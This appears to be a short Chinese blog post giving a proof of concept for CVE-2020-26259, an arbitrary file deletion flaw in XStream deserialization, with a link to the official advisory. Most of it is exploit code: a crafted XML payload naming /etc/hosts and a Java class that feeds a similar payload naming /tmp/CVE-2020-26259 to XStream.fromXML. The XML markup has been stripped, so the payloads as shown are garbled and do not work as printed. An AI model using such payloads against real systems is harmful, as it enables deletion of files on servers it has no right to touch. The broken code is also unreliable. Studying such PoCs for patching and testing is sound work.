CVE-2020-26259 XStream 任意文件删除

# CVE-2020-26259 XStream 任意文件删除

PoC:

“`



0



text/plain

/etc/hosts



0


test

XStream xstream = new XStream();
xstream.fromXML(xml);

“`

https://x-stream.github.io/CVE-2020-26259.html

**CVE_2020_26259.java:**

“`java
import com.thoughtworks.xstream.XStream;

/*
CVE-2020-26259: XStream is vulnerable to an Arbitrary File Deletion on the local host
when unmarshalling as long as the executing process has sufficient rights.

https://x-stream.github.io/CVE-2020-26259.html

Security framework of XStream not explicitly initialized, using predefined black list on your own risk.
*/

public class CVE_2020_26259 {
public static void main(String[] args) {
String xml_poc = “

\n” +
\n” +
\n” +
0\n” +
\n” +
\n” +
\n” +
text/plain\n” +
\n” +
/tmp/CVE-2020-26259\n” +
\n” +
\n” +
\n” +
\n” +
0\n” +
\n” +
\n” +
test\n” +
\n” +

“;

XStream xstream = new XStream();
xstream.fromXML(xml_poc);
}

}
“`

© 版权声明
THE END
喜欢就支持一下吧
点赞0赞赏 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容